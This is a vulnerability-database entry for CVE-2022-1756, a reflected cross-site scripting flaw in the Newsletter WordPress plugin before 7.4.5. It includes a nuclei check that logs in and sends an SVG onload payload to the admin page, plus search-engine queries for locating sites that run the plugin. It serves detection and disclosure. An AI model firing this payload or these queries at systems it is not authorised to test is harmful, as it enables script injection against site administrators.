HexBrain

Browse / CVEs / CVE-2022-1756

CVE-2022-1756· thenewsletterplugin / newsletter· CWE-79

Newsletter < 7.4.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Fixed in version 7.4.5

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)>
Positive when: status_code == 200 and contains(body, "newsletter") && contains(body, "><svg/onload=alert(/document.domain/)>")

Run it with nuclei: nuclei -id CVE-2022-1756 -u <target>

The full check
id: CVE-2022-1756

info:
  name: Newsletter < 7.4.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: Fixed in version 7.4.5
  reference:
    - https://wpscan.com/vulnerability/6ad407fe-db2b-41fb-834b-dd8c4f62b072
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1756
    - https://wordpress.org/plugins/newsletter/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1756
    cwe-id: CWE-79
    epss-score: 0.01941
    epss-percentile: 0.803
    cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thenewsletterplugin
    product: newsletter
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/newsletter/
    fofa-query: body=/wp-content/plugins/newsletter/
    publicwww-query: "/wp-content/plugins/newsletter/"
  tags: cve,cve2022,wpscan,newsletter,xss,authenticated,thenewsletterplugin,wordpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "newsletter") && contains(body, "><svg/onload=alert(/document.domain/)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from